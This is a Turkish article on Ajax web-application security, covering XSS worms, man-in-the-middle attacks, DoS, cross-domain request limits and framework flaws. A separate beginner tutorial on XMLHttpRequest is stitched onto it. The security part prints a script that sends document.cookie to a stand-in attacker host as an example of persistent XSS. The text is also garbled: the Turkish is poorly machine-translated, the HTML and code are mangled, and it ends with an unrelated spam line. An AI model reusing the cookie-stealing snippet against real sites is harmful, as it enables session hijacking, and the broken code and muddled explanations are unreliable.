Ajax (Asynchronous JavaScript and XML = Eşzamanlı olmayan JavaScript ve XML) 2005’de hayata geçmiştir. Bir web servisi modeli  Ajax, yeni ve büyük bir şey olarak web geliştirme işindekilere tanıtılmıştır. Bütün bunlara karşın, Ajax kusursuz değildir, bunların en başında herkes Ajax’ın ne olduğunu bilmemektedir ve olası riskler kurumsal çevrelere tam olarak anlatılamamıştır. Bu makale, Ajax’ın ne olduğunu, Ajax programlarının güvenlik içeriklerini ve bu teknolojiye karşı potansiyel saldırı vektörlerini ve olası koruma sistemlerini inceler.

İşin en basitinden Ajax, eski teknolojilerin üzerine kurulmuş fakat onların orijinal kapsamının ötesine geçmiş herhangi yeni bir şeydir. Ajax, Dinamik HTML mantığının en yeni mirasçısıdır ve özellik bakımından zengin ve pratik web programları geliştirilmesine izin verir. Bütün Ajax web programlarının en fakir seviyesinde XMLHttpRequest JavaScript nesnesini veriyi uzak bir web sunucusundan çekmek için kullanır ve be veriyi DOM (Document Object Model = Doküman Nesne Modeli) kullanan bir web sayfası için değiştirir. Şimdiye kadar, Google, Yahoo ve Microsoft, Ajax geliştirme alanında büyük oyuncular olmuşlardır, fakat sayıları artan yüksek profilli web sayfaları; eşzamanlı olmayan, kullanıcıları için özellik zengini gibi faydalar sağlamak için Ajax’a dönmektedirler.

Bütün bunlardan önce JavaScript ve tarayıcı güvenlik konularına bakmak en iyisidir. Bir Ajax programının ilk çalıştırılmasının üzerine web sunucusu PC’deki tarayıcıya bir seri JavaScript komutları yollar, bu tarayıcı daha sonra aldığı komutları çalıştırır. Açıkça, Ajax programının kullanıcısı programın yapımcılarına ayrı bir güven besler. Ajax programının JavaScript kodu, çalıştırılabilir mobil koddur ve muhtemel güvelik riskleri içerir. Tipik olarak, tarayıcı satıcıları bu JavaScript kodunun bir kum kutu içinde çalıştırılması gibi dikenli bir konu ile ilgilenirler. Buna ek olarak, JavaScript güvenlik modeli farklı domainlerden birbirleriyle etkileşim içinde olan (ve DOM’u etkileyen) scriptleri korur.

Geleneksel web programları ve bunların Ajax karşıtları arasında, Cross Side Scripting (XSS), genel ve sıkça tahmin edilemeyen bir problem olarak kalır, bu problem potansiyel saldırgana geniş bir saldırı alanı sağlar. Ajax saldırganlara hem yeni ve zengin bir potansiyel açığı olan programlar sağlar hem de çok güçlü exploit metotları sunar. Geleneksel bir web programında saldırganlar tarihsel olarak dikkatlerini tarayıcılar üzerine bir bekleme durumunda odaklamak zorunda kalmışlardır ve bu birçok örneğinde programın gerektiği gibi sessiz davranmadığı konusunda görsel ipuçları sunmuştur.

Eş zamanlı olmayan davranışların tanıtılmasıyla beraber, şüpheli kod, kullanıcıya yansıtılmayan ipuçları olmaksızın XSS’in bir sonucu olarak sessizce ve el altından bütün zararlı aktiviteleri gerçekleştiriyor olabilir. Son zamanlardaki bunun örnekleri JS.Spavehero solucanının ve yakın zamanda Yahoo’nun giriş onaylama rutinlerini ve kod filtrelerini exploit eden JS.Yamanner solucanının davranışlarını içerir. Bu iki gerçek dünya saldırılarının geniş çaplı zararına rağmen saldırganların XSS gibi bir geleneksel ve iyi bilinen vektör üzerine odaklanmaları bir gerçektir. Ajax programının uygulamasının ortaya çıkması kimseye “Web 2.0” teknolojisi seçmemesi yönünde ilgilendirmemelidir.

MySpace solucanının kullandığı saldırı vektörü XMLHTTPRequests’ini bir yayılma mekanizması olarak kullanmıştır ve bir ısrarcı XSS saldırısı olarak tanımlanabilir. Nispeten iyi huylu olan bu solucan, XMLHTTPRequests kullanan JavaScript kodunu GET ve POST isteklerini arkada ne olup bittiğinden habersiz ve hedeflenmeyen kullanıcılı bir uygun sunucu çalıştırmak için kullanmıştır. Bütün bunların bir sonucu onların, uygun kontakların listesine yeni bir arkadaş eklemesidir. Israrcı (veya tip 2) XSS saldırısında, bir şüpheli saldırgan programın kullanılabilirliğini kendine karşı kullanır. En basit seviyesinde, eğer bir program XSS’e karşı açıklara sahipse, saldırganlar kendi saldırı vektörlerini sunucu üzerinde depolamayı ve onu uygun kullanıcılara karşı kullanmayı seçebilirler. Örneğin; mesaj atmak için session ID’sine ve authentication’a gerek duyan eski bir mesajlaşma sistemini ele alalım. Eğer session ID’si client taraflı cookie şekilde saklanıyorsa ve program XSS’e göre açıksa, bir saldırgan uygun ve kullanıcıyı kendi şüpheli sitelerine yönlendiren JavaScript kodunu depolayabilir.

<script>

document.location.replace(

“http://www.attackersite.example/steal.php ”

+ “what=” + document.cookie)

</script>

Israrlı XSS, web programlarının daha çok eşzamanlı olmayan ve özellik bakımından zengin ortamlara karışmasından dolayı potansiyel olarak tehlikeli ve ciddi bir sorundur. Geliştirmenler, ciddiyetle geçmişte olan tehditleri göz önünde bulundurmalılardır. Bu saldırı vektörlerinin çözümü basittir ve geliştirenlerin XMLHTTPRequest nesnesinin fonksiyonelliğinin temeline daha çok hesaba almalarıdır.

MITM: Saldırıların Kissinger’i

Bir  Ajax uygulaması tarafından iletilen verilerin çoğu  Sade metin içerisindeki http üzerinde bulunduğu için, Ajax uygulamaları orta (MITM) saldırılar içerisindeki potansiyel şahıslara açıktır.

MITM saldırılarının büyük oranda varsayımdan ibaret olduğu yaygın bir yanlış anlamadır, ama SSL uygulaması yapmadan bir Ajax uygulamasını hedef almak isteyen bir saldırgan için mevcut birkaç ilgili saldırı vektörleri(ve araçları) vardırMITM saldırıları bir network seviyesinde yaygın olmasına rağmen, web uygulamalarına (Ajax ya da değil) karşı bir saldırı vektörü olarak da sıklıkla kullanılmaktalar. Tipik bir MITM saldırısında, saldırıyı yapacak kişi mevcut web uygulamasının mantıklı(yasal) bir kopyasını yapar, kullanıcıları buna yönlendirir, taleplerini sunucuya tuzak olarak kurar, bir kopyasını depolar, ve sonra da mantıklı(yasal)uygulamaya yeniden yönlendirilir. Açıkçası, bu en popüler biçimde phising saldırılarında uygulanan bir saldırı vektörüdür ve phisher lar son zamanlarda çok anlatılan iki faktörlü kimlik denetimini bypass edecek benzer teknikler kullanmışlardır.

Bir Ajax uygulaması olarak geliştirilmiş bir alış-veriş portalını göz önünde bulundurun Geleneksel bir web uygulamasında olduğu gibi, saldırıyı düzenleyenler uygulamanın bir kopyasını kurabilir(ya da daha spesifik olarak ödeme seçenekleri),sonra da kullanıcıları bunu kullanmaları için oyuna getirir ve banka/ödeme ayrıntıları ile ayrılırlar.  Ajax uygulamalarının asenkronize doğası sağolsun, aynı zamanda Ajax verilerinin kaynağını spoof etmek ve yasal uygulama bileşenlerini daha şüphe dolu ve yapmacık maksatlarla değiştirmek mümkün olabilir.

Bununla birlikte, geleneksel web uygulamalarında olduğu gibi, bir Ajax uygulaması aracılığı ile gönderilen HTTP talep ve yanıtları SSL içerisine sarılabilir.  MITM saldırılarına[7] karşı hiçbir şekilde kusursuz bir çözüm olmamasına rağmen, bu bir uygulamanın güvenlik duruşunu arttırmak için basit bir mekanizmadır. Hatırlanmalıdır ki SSL kullanan uygulamalara karşı kullanmak için başarılı saldırı vektörleri geliştirmeye çok fazla enerji odaklanmıştır ve gelişigüzel yapılan bir internet araştırması bile açığa çıkarmıştır ki araştırmacılar ve kara şapkalılar benzer biçimde emeklerini boşa harcamamışlardır. Gerçekten de birkaç yıl önce SSL 2.0 bir MITM hotsu saldırılarına karşı savunmasız bulunmuştur. Bu nedenle SSL göz önünde bulundurulduğunda, hesaba katılacak en az güvenlik SSL 3.0 kriptografi ve TLS 1.0 kurmaktır.

İdeal olarak bir uygulamadan bir Ajax client’a servis edilen dinamik kod tabanının kısıtlayıcı erişimi olmalıdır. Ajax yalnızca http aracılığı ile iletişime izin verme ile sınırlı olduğu için, ve güvenli HTTPyi tanıtmak bireysel veri işlemlerini sınırlamaya yardımcı olabilecek olmasına rağmen, belirli bir URL ye kimin ya da neyin çağrı yapabileceğini belirlemek için kullanılan bir mekanizma gibi uygulanamaz.  Her nasılsa, XMLHTTP talep nesnesi granularite sağlamakta ve geliştiriciler ideal olarak ya HTTP oturumunu sağlayan http talepleini filitre etmeyi ya da kötü niyetli erişim çabalarını önlemek için şifrelenmiş http başlıklarını çalıştırmayı göz önünde bulundurmalıdırlar.

Yeni uygulamalar, eski hilelerAjax temeli var olan standartlara dayanan bir yapı olduğundan ve uygulamaları konvansiyonel web geliştirme teknikleri etrafında temellendiğinden, Ajax uygulamalarının aynı zamanda diğer bütün web uygulamaları ile paylaşılan güvenlik konuları vardır.

Göz önünde bulundurulması gereken bir güvenlik konusu, eğer bir Ajax uygulama rutini zayıf dizayn edilmiş ya da uygulanmışsa, uygulama sunucusuna karşı başarılı bir DoS saldırısı yapmak için kullanılma potansiyeli vardır. Mevcut bir çok web uygulaması ve sunucu belirli bir zaman dilimi içerisinde belirli sayıda eylem gerçekleştiren belli sayıda kullanıcıya uyarlanmıştır. Sayesinde uygulama geliştiricilerinin Ajax’ın asenkronize doğasını sarmaladığı ve kullanıcı seçme gidisi üzerine temellendirilmiş otomatik doldurulması gereken bir forma izin verdiği bir senaryo düşünün. Client ya da Server üzerinde önbellek verisi yerine, küçük bir Ajax kontrolü veritabanını direkt olarak tarar. Bu, açıkça yapılan talepleri artırır ve sunucunun(ve/ya da oturum) kaldıramayabileceği bir sürücü yüklenmesi potansiyeline sahiptir. Eğer uygun bakım yapılmazsa, uygulamalar bir saldırganın offline’ı zorlaması için karşılaştırmalı olarak önemsiz olabilir ve söylentide olduğu gibi, Ajax kendi kendisine karşı kullanılabilir.

Ajax ile ilgili bir büyük konu, saldırgana artırılmış bir saldırı alanı vermeye gücü olmasıdır. Geliştiriciler uygulamanın desteğinde sınırlı işlevsellik gösteren sunucu taraflı sayfalar uygulamayı seçebilirler. Bu sunucu taraflı sayfalar yasal olarak gerçekleştirebilecekleri eylemlerde yasaklanacak olmalarına karşın, saldırı yapacak birine artırılmış bir saldırı alanı sağlayabilirler ve uygulamanın geri kalanı gibi dikkatlice güvenlik altına alınmaları gerekecektir.Bir başka kaygı alanı da hatalarla başaçıkmadır. Geleneksel bir çok web uygulamasında bu gözden kaçırılan bir alandır ve bir sonraki muhteşem uygulamayı yaratmak için acele edilirken hatalarla başaçıkma zaman bakımından baskı altında olan gelişim takımları tarafından epey ihmal edilmiş olabilir. Hatalarla doğru şekilde başa çıkma bu makalenin konusu değil, ancak Ajax geliştirme takımları, bu kesinlikle dikkat çekecek bir saldırı vektörü olduğu için bir uygulamanın hata vermesi için titizlikle çalışmalı.

Ne dilediğinize dikkat edinAjax güvenliği tarafından yapılan bir iddia, phishing ve MITM saldırılarından gelen tehditlerin XMLHTTPRtalep nesnesinin uygulanması ile büyük ölçüde azaltıldığıdır. Geleneksel JavaScriptin tersine XMLHTTPRequest  nesnesinin  çapraz domain, çapraz port ya da çapraz protokol talepleri yapmasına  izin verilmemiştir. Bu gelişigüzel saldırıları sınırlandırmasına rağmen, aynı zamanda çapraz site uygulamalarının gelişiminde zorluklar çıkarabilir. XMLHTTPRequest nesnesinin kullanımı ve aynı orijinal güvenlik politikası kısıtlamaları tarafından ortaya çıkan zorluklar için birkaç potansiyel çözüm vardır.Harici bir domain kaynagindan bilgi arayip bulma isteklerinde XMLHTTP Request nesnesi tarafindan belirlenen sinirlandirilmalari bertaraf  etmedeki en basit mekanizma, ayni domainde host edilen URL yi cagirmaktir ancak bloke edilmis harici domainden istenilen bilgiyi ayristirmak icin scrpting dilinden faydalanilir.Obur mekanizma istege bagli java script kullanir.Gelistiriciler Capraz domain script kullanarak kolay bir sekilde dis muhteviyata ulasirlar.Ancak bu teknigin kullanimi uygulanan diger herhangi bir scriptten daha az gozealinabilir derecede risksiz degildir , boylece ana sayfadaki scriptlerin ayni baskinligi ile potansiyel guvenlik vakalari kayda degerdir.En iyisi capraz domain scriptlerinden kacinmaktir.Cabalayan gelistirmeciler icin tek mekanizmalar bunlar degildir tabiki ve fransiz yazilim muhendisi JC zaten her iki Greasemonkey scriptleri ve Flash programlarini kullanarak XMLHTTP Request nesnelerinin sinirlarini asabilmek icin kaydadeger bir zaman ayirmistir.XMLHTTP Request nesnelerinin saglamliklarinin asan sadece gelistirmeciler degildir , saldirganlar bundan faydalanmak icin bircok sayida yol bulmuslardir.Opera ve Mozillada olan bir cok hata halk tarafindan kapatilmistir.Tarayici guvenlik mekanizmasi gelistiricilere harici domain kaynaklarina XMLHTTP Request nesneleri kullanarak istekte bulunmalarina izin vermeyebilir ( yukarda tartistigimiz bypass mekanizmalarindan birini kullanmadigi takdirde) ama bu azimli saldirgani durdurmayabilir.Farzedin sizin sitenizde sub-domain var (ornek www.bankam.com hesaplar.bankam.com sub-domainine sahip)Eger sub-domain ( veya en ust seviye domanin URL de olabilir) script enjeksiyonuna karsi zayifsa saldirgan XMLHTTP Request nesnelerini domain etrafinda pervasizca sicratabilir ve oradaki kontrollerin gecerliligin ne olduguna gore bilgilere uygunsuz ulasim saglayabilir.   Saldirganlarin XMLHTTP Request nesnelerinindeki guvenlik aciklarini her ne kadar zaten dusunmediklerine inanacak derecede kuskulu isenizde Darknet makalesini hizli bir goz atmanizda her acidan fayda vardir.

FramedAjax gelismeye yonelik yapilanmasiyla kendini ortaya koydugundan beri bir cok sayida Ajaxla ilgili sistem ve aractakimi ortaya cikmistir.Bu tip sistemlerin ve aractakimlarinin cikislari ivme kazandi ve hala bir dusme egilimi gostermemektir.Acikca ortadadirki bu sistemleri kullanarak gelistirilen herhangi bir uygulamada guvenlik acigini kalitimsal olarak tasiyacaktir ve bu saldirganlar ve guvenlik uzmanlari icin oldukca cekici yerini  koruyacaktirBunun sebebi bu kadar basittir ; kotu niyetli saldirganlar, populer olarak yayginlasmis aractakimlari ve sistemlere basarili saldirilar siklikla, potansiyel olarak benzer ozellikleri barindiran yuzlerce sayfayi indirmede yararli olacaktirHangi sistemin veya aractakiminin kullnilacagi guvenlik acisindan onemli bir karardir Sistem cevrelerinin cogunlugu olarak ve aractakimlari henuz genelde kendini ispatlamamislardir ( cogu zaten deneme surumudur) ve guvenlik uygulamalarindaki islevselligi arastirilmamis bir degiskendir,risk yonetimi islemleri secimlerinde mutlaka onemli bir rol oynayacaktir.Oldukca cok sayidaki Ajax sistem ve aractakimlari konusunda sinirli sayida mesrulugu kabul edilmis arastirma yapilmasina ragmen,burasi tamamen kisir bir alan degildir.Gecen sene, bircoklarina gore digerlerinden daha meshur olan Ajax aractakimi CPAINT hakkinda bazi sorunlar bulunmusturZaafiyetler capraz site scriptinden kotu niyetli kodlari calistirabilecek yetersiz fonksiyon guvenligine kadar degisik cesitlilik gostermektedirArastirmaci Thor larholm tarafindan bulunan en kritik acikta saldirgan kotu niyetli kodu calistirmak icin onceden tanimli bir fonksiyonda gecerli bir isim edinmesine bile ihtiyac duymamaktadirBu yilin baslarinda Ajax sistemi Pajax ta bircok sayida acik bulunmustur En cok sozu edilen CPAINT teki aciklarla birlikte yetersiz input temizligi ve gecerlilige yol acan heryerde saldirgan kolayca zararli kodlari calistirabilir.Hizli gelisen Ajax uygulamalari araciligi ile Pajax kulllanan arastirmacilar icin hala daha kaygilandiricisi, bu yilin mayisinda potansiyel olarak yuzlerce Web 2.0 uygulamalarini gecirgen hale getiren metasploit modulu ortaya cikarilmistir

Igitur qui desiderat pacem, praeparet bellum(“Therefore, he who desires peace, let him prepare for war”)

Bu nedenle barisi isteyenler savasa hep hazir olsunlar

XSS ve MITM gibi saldiri tasiyicilari genelde son kullanicilara yonelik Web 2.0 uygulamalaridirAncak, bu makalede diger yerlerdede sozunu ettigimiz zayif sistemlerde servere yapilacak saldirinin tamamen yapilamaz olmadigini anlamina gelmemektedir.Ajax uyguamalarinin sunucu elementi guvenli olmayan bir kullanicidan input alir ve bu input filtre edilip degerlendirilmez ise saldirgan kendi kodlarini sistemem enjekte edbilir ve kodlarini sunucuda calistirabilir.Kurnaz saldirganlar henuz tamamen sunucu bazli tasiyicilara atlamiyorlar ama klasik uzaktan kod dahil etme sorunlarini PHP yaziliminda register_globals=on orneginde oldugu gibi ,ileriki arastirmalar icin ilerde verimli bir alan olabilecegini ispatlamistir.Ajax uygulamalarinin yayilma guvenligini tayin etmek icin ne kadar cabalasakta oldukca sinirli sayida Ajaxa yonelik test araclari suan elimizde mevcuttur.Bu araclarinda bircogu belirli kaynak yoksunlugundan yakinmaktadir.Sprajax (http://www.denimgroup.com/sprajax.html) ornegin, sadece SQL server 2005 databasine birlesim fonksiyonu vardir. Cenzic gibi saticilar kendi otomatik acik bulma yontemlerine guvenerek piyasada oldukca Ajaxi destekleyen uygulamalar hakkinda cok cesaretli iddialarda bulunmaktadirlar.OWASP ( acik internet uygulamalari projesi) Ajax uygulamalarinin guvenligi konusunda pratik metodlar ve katilimci degerlendirmesine yonelik uygulamalarla yardimci olmaktadir.Bu gerceklesene kadar Ajax uygulamalarinin acik ve hata bulmalarinda suanda varolan arac ve metodlarda biraz sikinti yasayacaklari malesef uzucu bir meseledir.Arastirma ve gelistirme arac ve resmi metodlarin azligina ragmen varolan uygulamalarda guvenlik yatirimlar ve gelistirme takimlarinin olusturulmasi varolan tehlikelere karsi gozden kacirilmamalidir.Herhangi uygulamanin gelistirilmesinde guvenlik gelistirme asamalarinda mutlaka onemli bri rol oynamalidir.Eger Ajax ongorulenlerin hepsini dogrularsa bu beyinler onu hakektigi yere getirmek icin gereken cabayida vereceklerdir.Artik bu gorevi sonuna kadar kovalamak profesyonel guvenlikcilere ve  deneyimli gelistirmecilere dusmektedir.

Adım adım AJAX

Giriş

AJAX web gelişimi içerisinde birçok programcıyı heyecanlandıran son ve büyük bir şeydir. Bu başlık AJAX için Microsofta adım adım bakış demektir.
Bu özellik Herkules ile dövüşen lliad dan gelmiyor. Fakat web gelişimi içerisindeki en son ve en gelişmiş olanıdır.(hiç olmazsa birkaç taneden birisi). Google web de büyülü bir şekilde genişleyerek büyüdüğünden beri AJAX ile google haritaları yapıldı. Bununla beraber biz genel olarak AJAX’ı yazmak için Microsoft yoluna bakıyoruz. Tıpkı benim önceki öğreticim gibi. Bu kısa tanıtımdan sonra adım adım bütün yollar burada.

Web Uygulama Geliştirme
1992’den beri geliştiriciler merhametsizce çok cazip,çok üretici ve çok interaktif yolları takip ettiler. Düz html kodlarının doğuşunu hemen imaj yerleştirme ve bunu cazip renkler kullanarak stil kağıtları tarafından yapılarak verildi. Fakat kullanıcılara Java Script için ayrılmıştı ve bu nedenle yazı dili altın çağına döndü.
Bununla birlikte 2 ana sunucu web alanı paylaşıyordu. Ve kullanıcıların işini görmek için iki dil vardı. (3.olanı ECMA – sonradan geldi) Bu yeterli değildi ve DHTML doğmuştu.
Yeni bir dil değildi fakat iyi bir html karıştırıcıdır. CSS ve Java Script kullanıcıları için aşırı caziptir.
AJAX sayfayı yenileme ihtiyacı olmadan uzun bir süre cevap veriyir Bunun mümkün olabilmesi için ilk olarak Microsoft’un ActiveX teknolojisi yapıyordu. Şimdi artık XHTML, CSS, JavaScript, XmlHttpRequest, ve XML, ve o DHTML bu yeni teknolojinin içinde yer alıyor.
Örnek AJAX daki Garret’s den türer.
Örnek AJAX gibi klasik bir çift interaksiyon gösterir. Klasik versiyonunda müşteri bir HTTP(s) davetiyesi gönderir servera,server bunu görür. AJAX modelinde müşteri AJAX a Java Script gönderir ve AJAX webservera XML yapabilen bir davet gönderir WEB/XML sunucusu XML den gelen cevapları yollar.Sonuçları çevirmek için XHTML ve CSS içinden DOM üzeriden yardım alır.

XMLHttpRequest Object ile beraber çalışmak için bir anahtar nesneye ihtiyaç vardır. Bu obje iki kısımdan oluşur. Bu httpRequest tir. Sonra o XML yöntemidir. Bu ActiveX Object gibi Internet Explorer 5 ve Windows için yeterince geliştirilmiş idi.Bu Mozilla 1,0.Apple ve diğer formlar ile birlikte yerine getirilmişti. W3C DOM Level 3 özellikleri için benzer bir standarttır.
XML HttpRequest nesnesi oluşturmak
Bu kolay bir kısımdır.Mozilla için:
var xhr=new XMLHttpRequest();
İnternet Explorer için:
var xhr=new ActiveXObject(“Microsoft.XMLHTTP”);
Bu metodlar kullanıcılar için gizli nesneleri içerir.BU kısa listeyi bütün browser lar paylaşırlar.
abort()
mevcut isteği sonlandır
getAllResponseHeaders()
başlık bilgisindeki tüm veriyi alır
getResponseHeader (“headerAdi”)
istenen başlık bilgisinin verisini alır
open(“method”, “URL”[,asyncFlag[,"userName"[,"password"]]])
herhangi bir veriyi atamada kullanılır
send(content)
Gerekli olucak veriyi yollamak için kullanılır
setRequestHeader (“eitket”, “deger”)
başlık bilgisine etiket degeri eklemek için kullanılır
URL tamamlanabilir ya da bağlanabilir. 3.parametre ki opsiyonel(yanlış ve doğru) ayarları içerir.
Parametreleri takip etmek (bütün serverlar için geçerli)
onreadystatechange
Durum değişikliğini kontrol eder
readState
Tam sayı degerleri durum bilgisini belirtir
0 = uninitialized
1 = loading
2 = loaded
3 = interactive
4 = complete
responseText
String formatında veriyi yollar
responseXML
Veriyi DOM formatında yollar
status
Server ın durumunun sayısal degeri
404: Not found
200: OK
statusText
Durumla gelen yazı degeri
AJAX ile çalışmak sessizdir.Html dosya adı : AjaxTest.html. Özellikle bir XMLHTTP Request Object yaratmaya ihtiyacımız var.Sayfaya geri alındığından beri GET kullanılır.Open ( ) için TRUE methodu kullanılır.

var xhr = false;
function getPage (url) {
xhr = false;
//this is the Microsoft browser compatible instantiation
xhr = new ActiveXObject(“Microsoft.XMLHTTP”);
if (!xhr) {
alert (’XMLHttpRequest failed to instantiate’);
return false;
}
xhr.onreadystatechange = statusCheck;
xhr.open (’GET’, url, true);
xhr.send (null);
}
function statusCheck() {
txt1.value=”XmlHttpRequest_Status: ” + xhr.status;

txt2.value=”XmlHttpRequest_readyState: ” + xhr.readyState;

TEXTAREA1.value=”XmlHttpRequest_getallResponseHeaders(): ” +
xhr.getAllResponseHeaders();
txt5.value=”XmlHttpRequest_statusText: ” + xhr.statusText

if (xhr.readyState == 4) {
if (xhr.status == 200) {
alert(xhr.responseText);
document.getElementById(“x”).innerHTML =(xhr.responseText);
} else {
alert (’There was a problem with the request.’);
}
}

}
//–>

Eğer DOM API sini kullanırsanız aşağıdaki kodlara göz atınız;
AjaxTest.htm sadece belli kontrol özelliklerine sahitptir ve bunun degerleri gosterilir. OnClick olayı işlemin aktif oldugunu göstermektedir. innerHTML özellikleride DIV tagına yazılacaktır.

style=”FONT-SIZE: large; COLOR: red”>Asynchronous style=”FONT-SIZE: large; COLOR: red”>Javascript style=”FONT-SIZE: large; COLOR: red”>And style=”FONT-SIZE: large; COLOR: red”>XML= style=”FONT-SIZE: large; COLOR: blue”>AJAX



onclick=”getPage (‘ornek.asp’)”
value=”Get the page by XmlHttpRequest” name=button1>

name=TEXTAREA1 cols=42>

size=50>

Ajax kodlarında belirttiğimiz ornek.asp dosyası:

document.write (document.lastModified);

Welcome to programming with AJAX”)%>

Hello

Program yazlm Script oyun indir